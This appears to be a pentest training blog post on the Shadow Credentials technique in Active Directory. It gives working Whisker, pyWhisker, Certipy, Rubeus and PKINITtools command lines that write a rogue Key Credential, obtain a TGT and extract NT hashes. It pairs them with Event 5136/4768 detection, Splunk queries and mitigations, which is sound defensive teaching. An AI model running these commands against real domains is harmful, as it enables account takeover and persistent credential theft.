top of page

Shadow Credentials: Take Over AD Accounts with msDS-KeyCredentialLink

3 hours ago
7 min read

 

Introduction

 

Shadow credentials are a Key Trust abuse of the Active Directory attribute msDS-KeyCredentialLink. Windows Hello for Business and related Key Trust flows store public key material on a user or computer object so the account can authenticate with Kerberos PKINIT. If you can write that attribute, you can append your own Key Credential. The password never changes, but you still get a TGT as that principal.

 

That matters on an authorized assessment because password resets, many password-tied MFA prompts, and tooling that only watches for hash theft leave the rogue Key Credential in place. SpecterOps documented the pattern in Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover. BloodHound models the required write as AddKeyCredentialLink (often reached through GenericWrite or other broad write rights on the object).

 

This post walks the mechanism, prerequisites, Whisker / pyWhisker / Certipy shadow tooling, PKINIT authentication, optional UnPAC-the-hash, and detection centered on Event 5136 and 4768.


Shadow Credentials Attack Flow, showing step boxes and arrows: GenericWrite, msDS-KeyCredentialLink, PKINIT, TGT, NT Hash/Lateral Movement, plus Password Reset

 

What Key Trust and msDS-KeyCredentialLink actually do

 

Kerberos normally proves identity with a password-derived long-term key (or a keytab). PKINIT lets a client prove identity with a certificate and private key during AS-REQ pre-authentication. In the Key Trust model used by Windows Hello for Business, the public key is stored on the account in msDS-KeyCredentialLink as a multi-valued msDS-KeyCredentialLink / Key Credential blob. Domain controllers that support the feature treat a matching private key as valid pre-authentication material for that principal.

 

infographic titled Shadow Credentials Attack Steps, showing five-step flow from GenericWrite to NT hash/lateral movement.

A shadow credentials attack is not "enroll a malicious template on AD CS and hope the CA issues you a cert for someone else." A valid Key Credential is not a self-signed CER pasted via Set-ADUser -Add @{'msDS-KeyCredentialLink'=$cert.RawData}.

That path is a common blog shortcut and is not how Whisker, pyWhisker, or Certipy build a valid Key Credential. The tools generate a key pair, construct the Key Credential structure Windows expects, write it to LDAP, and give you a PFX (or equivalent) for PKINIT.

 

MITRE ATT&CK maps related behavior closest to T1098 Account Manipulation (adding durable credentials to an existing account). Treat the ATT&CK ID as a hunting label, not as a claim that every shadow credentials engagement looks identical.

 

How shadow credentials differ from Kerberoasting and hash theft

 

Attack

What you obtain

Trust model

Password change clears it?

NTLM dump / Pass-the-Hash

Account NT hash

Password-derived secret

Yes (after hash rotation)

Kerberoasting

Encrypted TGS for an SPN; offline crack of the service account password

Service principal long-term key

Yes (after password change and SPN re-kerberoast fails)

Shadow credentials

Rogue Key Credential on msDS-KeyCredentialLink; PKINIT TGT

Key Trust public key mapping

No. Password reset leaves the Key Credential

 

Kerberoasting asks the KDC for a service ticket and attacks the ticket offline. Shadow credentials write authentication material onto the account itself and then use PKINIT. Defenders care because the Key Credential persists, and a password reset does nothing to remove it.

 

Prerequisites for shadow credentials on a domain

 

Before tooling, confirm the environment can actually use Key Trust:

 

  • Domain functional level: Windows Server 2016 or higher (Key Credential / WHfB Key Trust expectations).

  • Domain controllers: DCs must support Kerberos PKINIT for certificate-based pre-authentication.

  • Rights on the target: AddKeyCredentialLink, GenericWrite, or equivalent write on msDS-KeyCredentialLink for the victim user or computer. BloodHound's AddKeyCredentialLink edge is the practical hunt for that path.

  • Scope: Prefer computer objects or non-privileged users first in a lab. Computer takeover plus RBCD-style follow-ons is a common escalation chain after you prove Key Credential write.

 

You do not need a broken AD CS template (ESC1) for this specific technique. AD CS may still appear in the same engagement for other ESC paths; do not conflate the two.

 

Abusing shadow credentials with Whisker, pyWhisker, and Certipy

 

Assume authorized lab credentials attacker@corp.local already hold GenericWrite on victim (user) or WORKSTATION$ (computer). Replace hosts and names with your RoE targets.

 

Enumerate write paths (BloodHound / LDAP)

 

Confirm the edge before you write. In BloodHound, search for paths that end in AddKeyCredentialLink or GenericWrite on Tier 0 users, domain controllers, or high-value workstations. On the wire, review the object's DACL for write on msDS-KeyCredentialLink from the principal you control. Do not skip this step: a failed LDAP write still leaves telemetry, and a successful write without a recovery DeviceID leaves a backdoor you cannot cleanly remove.

 

# BloodHound: shortest path to AddKeyCredentialLink / GenericWrite on high-value objects
# Or LDAP attribute ACL review for msDS-KeyCredentialLink write

 

Whisker (Windows / .NET)

 

Whisker by Elad Shamir implements the SpecterOps Key Credential write:

 

Whisker.exe add /target:victim /domain:corp.local /dc:dc01.corp.local

 

Whisker prints the DeviceID of the new Key Credential and exports a PFX. List or clear with:

 

Whisker.exe list /target:victim /domain:corp.local /dc:dc01.corp.local
Whisker.exe remove /target:victim /domain:corp.local /dc:dc01.corp.local /deviceid:<DeviceID>

 

pyWhisker (Linux attacker host)

 

pyWhisker is the Python port used from Kali-style boxes:

 

python3 pywhisker.py -d corp.local -u attacker -p 'Passw0rd!' \
  --dc-ip 10.10.10.10 --target victim --action add

 

Useful follow-ups:

 

python3 pywhisker.py -d corp.local -u attacker -p 'Passw0rd!' \
  --dc-ip 10.10.10.10 --target victim --action list

python3 pywhisker.py -d corp.local -u attacker -p 'Passw0rd!' \
  --dc-ip 10.10.10.10 --target victim --action remove --device-id <DeviceID>

 

Certipy shadow

 

Certipy's shadow command automates add + authenticate for many labs:

 

certipy shadow auto -u 'attacker@corp.local' -p 'Passw0rd!' \
  -account victim -dc-ip 10.10.10.10

 

Or split add and auth when you already have a PFX:

 

certipy shadow add -u 'attacker@corp.local' -p 'Passw0rd!' \
  -account victim -dc-ip 10.10.10.10

certipy auth -pfx victim.pfx -dc-ip 10.10.10.10

 

Certipy often returns NT hash material after successful PKINIT when UnPAC-the-hash is available. That is the same end state as Rubeus /getcredentials or PKINITtools getnthash.py, not a separate "self-signed cert" trick.

 

PKINIT authentication and optional UnPAC-the-hash


PKINIT (Public Key Cryptography for Initial Authentication in Kerberos, RFC 4556) lets a client get its first Kerberos ticket using a certificate and private key, such as a smart card or Windows Hello for Business, instead of a password. The client signs its AS-REQ with the private key. The KDC checks the certificate against a trusted CA and maps it to an account. It then sends back the TGT, protecting the session key with a Diffie-Hellman exchange or by encrypting it to the client's public key.


It differs as standard Kerberos proves identity with a key derived from the user's password, while PKINIT replaces only that first step with public-key crypto, and every ticket request after the TGT works the same as usual.

 

Once the Key Credential exists and you hold the matching PFX, request a TGT with PKINIT.

 

Rubeus

 

Rubeus.exe asktgt /user:victim /domain:corp.local /dc:dc01.corp.local \
  /certificate:C:\Temp\victim.pfx /password:pfx-password /ptt

 

To pull the NT hash from the PAC (UnPAC-the-hash) in the same flow:

 

Rubeus.exe asktgt /user:victim /domain:corp.local /dc:dc01.corp.local \
  /certificate:C:\Temp\victim.pfx /password:pfx-password /getcredentials /show

 

/getcredentials is the operator-facing UnPAC step: you already authenticated as the target; you also recover the NT hash for Pass-the-Hash or further Impacket use.

 

PKINITtools (Linux)

 

 

python3 gettgtpkinit.py corp.local/victim -cert-pfx victim.pfx \
  -pfx-pass 'pfx-password' victim.ccache

export KRB5CCNAME=victim.ccache

python3 getnthash.py corp.local/victim -key <AS-REP-session-key-from-gettgtpkinit>

 

After you have the NT hash, classic lateral movement applies (wmiexec.py, smbexec.py, Pass-the-Hash into RDP where allowed by policy). Clean up the Key Credential with Whisker/pyWhisker remove when the assessment phase ends so you do not leave a permanent backdoor.

 

Operator notes and common mistakes

 

  • Wrong attribute write: Pasting raw X.509 bytes into msDS-KeyCredentialLink with Set-ADUser is not a substitute for Whisker/Certipy. Use the tools that build a proper Key Credential structure.

  • Confusing ESC abuse with Key Trust: Template ESC paths enroll certificates through AD CS. Shadow credentials write Key Trust material onto the account object.

  • Missing PKINIT: If DCs reject certificate pre-auth, the Key Credential write may succeed and authentication still fails. Validate DC support before reporting "full takeover."

  • Noise vs signal: Adding Key Credentials to every writable object floods Event 5136. Prefer high-value targets and document DeviceIDs for clean removal.

 

Detection: Event 5136 on msDS-KeyCredentialLink and 4768 PKINIT

 

Directory Service Changes (5136)

 

Successful shadow credentials writes should produce Security Event 5136 (Directory Service Changes) when auditing is enabled for the attribute. Hunt for msDS-KeyCredentialLink value adds on user and computer objects, especially from principals that are not your IdM / WHfB provisioning service.


infographic comparing Legitimate Key Trust vs Shadow Credentials, with Windows Hello, attacker, domain controller, and TGT.

 

Illustrative Security log shape:

 

Event ID: 5136
Object Type: user (or computer)
Object DN: CN=victim,OU=Users,DC=corp,DC=local
Attribute LDAP Display Name: msDS-KeyCredentialLink
Operation: Value Added
Subject Account Name: attacker

 

Kerberos TGT with certificate (4768)

 

After the write, Event 4768 (Kerberos authentication ticket requested) with certificate / PKINIT indicators shows the account authenticating without a password AS-REQ. Correlate 5136 → 4768 within a short window, from an unexpected client IP, for accounts that do not normally use smart card or WHfB.

 

Event ID: 4768
Account Name: victim
Certificate information present / Pre-Authentication Type indicates PKINIT
Client Address: 10.11.12.50

 

Event 4738 (user account change) is a weak secondary signal. Prefer 5136 for the attribute itself. Event 4769 (service ticket) alone does not prove shadow credentials; it is normal Kerberos traffic after any TGT.

 

SIEM intent (Splunk-style)

 

index=wineventlog EventCode=5136
| search AttributeLDAPDisplayName="msDS-KeyCredentialLink" OR ldapDisplayName="msDS-KeyCredentialLink"
| table _time, SubjectUserName, ObjectDN, OperationType, AttributeValue

 

index=wineventlog EventCode=4768
| search PreAuthType=15 OR CertificateThumbprint=* OR TicketOptions=*
| table _time, TargetUserName, IpAddress, CertIssuerName, CertSerialNumber

 

Tune baselines: WHfB enrollment and legitimate Key Trust provisioning will write the same attribute. Alert on writers outside the known service accounts, sudden DeviceID churn, or PKINIT from hosts that never used certificate auth for that user.

 

Defender / identity analytics

 

Microsoft Defender for Identity and similar UEBA products raise alerts on anomalous Key Credential modifications. Pair those alerts with your own 5136/4768 correlation so you are not dependent on a single product rule.

 

Mitigation

 

  • ACL hygiene: Remove unnecessary GenericWrite / WriteProperty / "AddKeyCredentialLink" on privileged users and computers. Treat " AddKeyCredentialLink" edges in BloodHound as P1 findings on domain admins, DCs, and Tier 0 computers.

  • Protected Users / Tier 0: Keep Tier 0 accounts out of paths where mid-tier admins can write Key Credentials.

  • Audit policy: Enable Directory Service Changes auditing for msDS-KeyCredentialLink and ship 5136 + 4768 to the SIEM with retention long enough for incident response.

  • Cleanup runbooks: Document how IdM removes stale Key Credentials; red teams should remove DeviceIDs they created.

  • Do not "just disable AD CS": That may be good hygiene for ESC findings, but it does not remove Key Trust on the account object. Fix DACLs and monitoring for this technique specifically.

 

Conclusion

 

Shadow credentials turn a single LDAP write into durable account takeover: append a Key Credential to msDS-KeyCredentialLink, authenticate with PKINIT, optionally UnPAC the NT hash, and keep access after password resets. On engagements, prove the write path with Whisker, pyWhisker, or Certipy shadow, show 5136/4768 evidence for blue teams, and remove your DeviceID when finished.

 

References

 

 

 

Register for instructor-led online courses today! https://www.darkrelay.com/courses

 

Check out our self-paced learning paths! https://www.darkrelay.com/learning-paths

 

Explore our bundled Pricing & Plans for cost-effective options! Buy a course subscription to learn more—hands-on labs and expert-led training included. https://www.darkrelay.com/plans-pricing

 

Contact us for custom pentesting needs at: info@darkrelay.com or WhatsApp.

 

Comments


bottom of page